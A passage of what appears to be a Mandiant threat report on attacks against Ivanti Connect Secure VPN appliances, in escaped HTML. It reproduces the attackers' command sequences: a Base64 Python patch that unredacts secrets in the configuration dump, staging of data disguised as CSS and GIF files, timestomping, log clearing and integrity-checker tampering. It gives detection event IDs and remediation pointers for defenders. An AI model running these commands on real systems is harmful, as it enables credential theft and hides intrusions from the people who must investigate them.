#000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over DNS.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eENUM4LINUX\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba hosts.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 2: Open source tooling identified\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003ch3\u003eAdditional TTPs\u003c/h3\u003e\n\u003ch4\u003eConfiguration and Cache Theft\u003c/h4\u003e\n\u003cp\u003eMandiant has identified evidence consistent with dumping the running configuration and cache after the initial exploitation of an CS appliance using the built-in\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0command found on CS appliances. The resulting output is saved to a\u00a0\u003ccode\u003etar\u003c/code\u003e\u00a0archive masquerading as a randomly generated 10-character CSS file within the directory:\u00a0\u003ccode\u003e/home/webserver/htdocs/dana-na/css/\u003c/code\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eWe have identified the following sequence of commands (Figure 19) executed on a compromised appliance to dump the cache and configuration into the CSS directory.\u003c/p\u003e\n\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003eexport LD_LIBRARY_PATH\u003d/lib:/home/lib;\r\nexport PATH\u003d/bin:/usr/bin:/sbin:/usr/sbin:/home/bin;\r\necho ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY\r\n9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC\r\nkKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY\r\nmQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ\r\nogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG\r\nVuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL\r\nmNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo\r\ngcz0nbicKcHJpbnQocyxlbmQ9Jycp\r\n|base64 -d|/home/venv3/bin/python;\r\nchmod +x /tmp/tools;\r\n/tmp/tools -S -R -B /vc \u0026gt;/tmp/test1.txt;\r\nrm -rf /tmp/tools;\r\ntouch /tmp/testt -r /home/webserver/htdocs/dana-na/css;\r\nmount -o rw,remount /;\r\ntar czf /home/webserver/htdocs/dana-na/css/\u0026lt;REDACTED\u0026gt;.css /tmp/test1.txt;\r\nrm -rf /tmp/test1.txt;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 19: Command sequence to dump the cache and configuration\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe command sequence executes a Base64-encoded Python script that writes a patched version of the\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0binary (\u003ccode\u003e/home/bin/dsls\u003c/code\u003e) into\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e. At a high level, the patched binary allows the\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0command to display sensitive information that is typically redacted. Figure 20 shows the Base64-decoded Python script.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003efrom base64 import b64encode as e\r\nf\u003dopen(\u0026#39;/home/bin/dsls\u0026#39;,\u0026#39;rb\u0026#39;)\r\nc\u003df.read()\r\nf.close()\r\np\u003dc.find(bytes.fromhex(\u0026#39;8dbd60ffffff\u0026#39;))\r\nif p\u0026gt;0:\r\n\td\u003dbytearray(c)\r\n\tif d[p-2]\u003d\u003d0x74:\r\n \t\td[p-2]\u003d0xeb\r\n\t\tf\u003dopen(\u0026#39;/tmp/tools\u0026#39;,\u0026#39;wb\u0026#39;)\r\n\t\tf.write(d)\r\n\t\tf.close()\r\n\t\ts\u003d\u0026#39;f\u0026#39;\r\n\t else:\r\n\t s\u003d\u0026#39;i\u0026#39;\r\nelse:\r\n s\u003d\u0026#39;n\u0026#39;\r\nprint(s,end\u003d\u0026#39;\u0026#39;)\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 20: Base64-decoded Python script\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe script looks for the byte sequence\u00a0\u003ccode\u003e0x8dbd60ffffff\u003c/code\u003e\u00a0within the file\u00a0\u003ccode\u003e/home/bin/dsls\u003c/code\u003e. This is a legitimate executable on Ivanti Connect Secure appliances used for displaying the running configuration and cache information. If the byte sequence is found (\u003ccode\u003ep\u0026gt;0\u003c/code\u003e), it creates a byte array (\u003ccode\u003ed\u003c/code\u003e) from the file contents (\u003ccode\u003ec\u003c/code\u003e) for further modification.\u003c/p\u003e\n\u003cp\u003eThe logic then checks if the byte 2 positions before the found byte sequence (\u003ccode\u003ep-2\u003c/code\u003e) is equal to\u00a0\u003ccode\u003e0x74\u003c/code\u003e. If it is equal to\u00a0\u003ccode\u003e0x74\u003c/code\u003e, it replaces that byte with\u00a0\u003ccode\u003e0xeb\u003c/code\u003e. Lastly, the script rewrites the modified byte array into\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eThe modification of the binary turns a conditional\u00a0\u003ccode\u003eJMP\u003c/code\u003e\u00a0instruction (\u003ccode\u003e0x74\u003c/code\u003e) into an unconditional\u00a0\u003ccode\u003eJMP\u003c/code\u003e\u00a0(\u003ccode\u003e0xeb\u003c/code\u003e). The patch forces the execution flow to bypass a check in the legitimate\u00a0\u003ccode\u003edsls\u003c/code\u003e\u00a0binary responsible for redacting sensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the output with\u00a0\u003ccode\u003e\u0026lt;secure\u0026gt;\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe command sequence continues to do the following:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eExecute\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e\u00a0(patched version of\u00a0\u003ccode\u003e/home/bin/dsls\u003c/code\u003e) to dump the configuration and cache to\u00a0\u003ccode\u003e/tmp/test1.txt\u003c/code\u003e\u00a0\u003c/li\u003e\n\u003cli\u003eRemove\u00a0\u003ccode\u003e/tmp/tools\u003c/code\u003e\u00a0\u003c/li\u003e\n\u003cli\u003eCreate an empty file\u00a0\u003ccode\u003e/tmp/testt\u003c/code\u003e\u00a0with the modified and access timestamps of\u00a0\u003ccode\u003e/home/webserver/htdocs/dana-na/css/\u003c/code\u003e. This will be used later to timestomp the CSS directory with its original timestamps.\u00a0\u003c/li\u003e\n\u003cli\u003eRemount the file system as read-write\u003c/li\u003e\n\u003cli\u003eArchive the dump into a CSS file within\u00a0\u003ccode\u003e/home/webserver/htdocs/dana-na/css/\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eDelete\u00a0\u003ccode\u003e/tmp/test1.txt\u003c/code\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eMandiant identified efforts to remove evidence of compromise after the configuration and cache dump were downloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting CVE-2023-46805 and CVE-2024-21887.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003erm -rf /home/webserver/htdocs/dana-na/css/\u0026lt;REDACTED\u0026gt;.css;\r\ntouch -r /tmp/testt /home/webserver/htdocs/dana-na/css;\r\nrm -rf /tmp/testt;\r\necho \u0026gt; /data/var/dlogs/config_rest_server.log;\r\nmount -o ro,remount/\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 21: Command sequence to cover up evidence of compromise\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe command sequence does the following:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eDelete the staged configuration and cache dump\u003c/li\u003e\n\u003cli\u003eTimestomp the CSS directory with the modified and access timestamps of\u00a0\u003ccode\u003e/tmp/testt\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eClear the\u00a0\u003ccode\u003econfig_rest_server.log\u003c/code\u003e\u00a0file that would record exploitation attempts of CVE-2023-46805 and CVE-2024-21887\u003c/li\u003e\n\u003cli\u003eRemount the file system in read-only mode, reverting it back to its original state\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAdditionally, we have identified the configuration and dump being saved to compressed files located in the following paths:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e/runtime/webserver/htdocs/dana-na/help/logo.gif\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e/runtime/webserver/htdocs/dana-na/help/login.gif\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIvanti has published additional\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/Recovery-Steps-Related-to-CVE-2023-46805-and-CVE-2024-21887?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eguidance\u003c/u\u003e\u003c/a\u003e\u00a0on remediating the risk resulting from the cache and configuration dump. This includes resetting local account credentials, resetting API keys, and the revocation of certificates.\u003c/p\u003e\n\u003ch4\u003eCAV Web Server Log Exfiltration\u003c/h4\u003e\n\u003cp\u003eMandiant has identified evidence of exfiltration of the CAV web server logs staged in\u00a0\u003ccode\u003e/runtime/webserver/htdocs/dana-na/help/logo.gif\u003c/code\u003e. The path does not legitimately contain\u00a0\u003ccode\u003elogo.gif\u003c/code\u003e.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e/usr/bin/printf \u0026#39;GIF\u0026#39;\u0026gt;/home/webserver/htdocs/dana-na/help/logo.gif;\r\n/usr/bin/printf \u0026#39;GIF\u0026#39;\u0026gt;/home/webserver/htdocs/dana-na/help/logo.gif;\r\ncat /data/var/dlogs/cav_webserv.log|/usr/bin/base64\u0026gt;\u0026gt;/home/\r\nwebserver/htdocs/dana-na/help/logo.gif\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 22: Command sequence leading to exfiltration of the CAV web server logs\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe command redirects the GIF header into\u00a0\u003ccode\u003elogo.gif\u003c/code\u003e\u00a0and then appends the Base64-encoded contents of\u00a0\u003ccode\u003e/data/var/dlogs/cav_webserv.log\u003c/code\u003e\u00a0into the same file.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecav_webserv.log\u003c/code\u003e\u00a0contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has identified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE, CHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.\u003c/p\u003e\n\u003ch4\u003eICT Manipulation\u003c/h4\u003e\n\u003cp\u003eThe system's internal integrity checker tool can help detect modifications or additions made to the file system. Mandiant has identified instances where the external ICT detected a modification to a Python package associated with the internal ICT:\u00a0\u003ccode\u003e/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg\u003c/code\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eWe identified a single line commented out in\u00a0\u003ccode\u003escanmgr.py\u003c/code\u003e\u00a0that disables the execution of the scanner.\u003c/p\u003e"]]],[null,null,null,null,null,null,null,null,[[[null,"\u003cp\u003eFigure 23: Scanner execution commented out in scanmgr.py\u003c/p\u003e"],["https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1100x1100.png 1060w, https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png 1554w"," 1060px, 1554px","https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png"],null,3]]],[null,null,[null,[null,"\u003cp\u003eAdditionally, Volexity published a\u00a0\u003ca href\u003d\"https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eblog post\u003c/u\u003e\u003c/a\u003e\u00a0on Jan. 18, 2024 detailing another method leveraged to tamper with the built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.\u003c/p\u003e\n\u003cp\u003eMandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located at\u00a0\u003ccode\u003e/home/etc/manifest\u003c/code\u003e. This file maintains a list of the expected files on the system and its associated SHA256 hash. The internal ICT verifies the manifest file\u2019s signature using a public key.\u003c/p\u003e\n\u003cp\u003eIn some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the internal ICT to fail and generates event ID\u00a0\u003ccode\u003eSYS32042\u003c/code\u003e\u00a0in the system event log, indicating that the manifest file is bad.\u003c/p\u003e\n\u003cp\u003eThe full list of event IDs associated with the integrity checker tool can be found in Table 3.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse;margin-left:auto;margin-right:auto\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eEvent ID\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eSummarized Description\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32039\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eNew files were found with the Internal Integrity Check Tool.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32040\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA modified file was found with the Internal Integrity Check Tool.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32041\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe Integrity Check Tool manifest file is missing.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32042\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eThe Integrity Checker Tool manifest file is bad.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32087\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA built-in integrity scan has started.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eSYS32088\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA built-in integrity scan has been completed.\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 3: Integrity checker tool event IDs\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003ch4\u003eSystem Log Clearing\u003c/h4\u003e\n\u003cp\u003eIn some instances, the threat actor used a legitimate system utility,\u00a0\u003ccode\u003e/home/bin/logClear.pl\u003c/code\u003e\u00a0to clear system logs. The clearing of system logs via this method generates event ID\u00a0\u003ccode\u003eADM20599\u003c/code\u003e\u00a0in the admin event log for each log type cleared. There are six (6) system logs available on an Ivanti Connect Secure appliance.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable border\u003d\"1px\" cellpadding\u003d\"16px\" style\u003d\"border-collapse:collapse;margin-left:auto;margin-right:auto\"\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eLog Name\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eFile Path\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eevents\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.events.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eadmin\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.admin.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eaccess\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.access.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ediagnosticlog\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.diagnosticlog.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003epolicytrace\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan 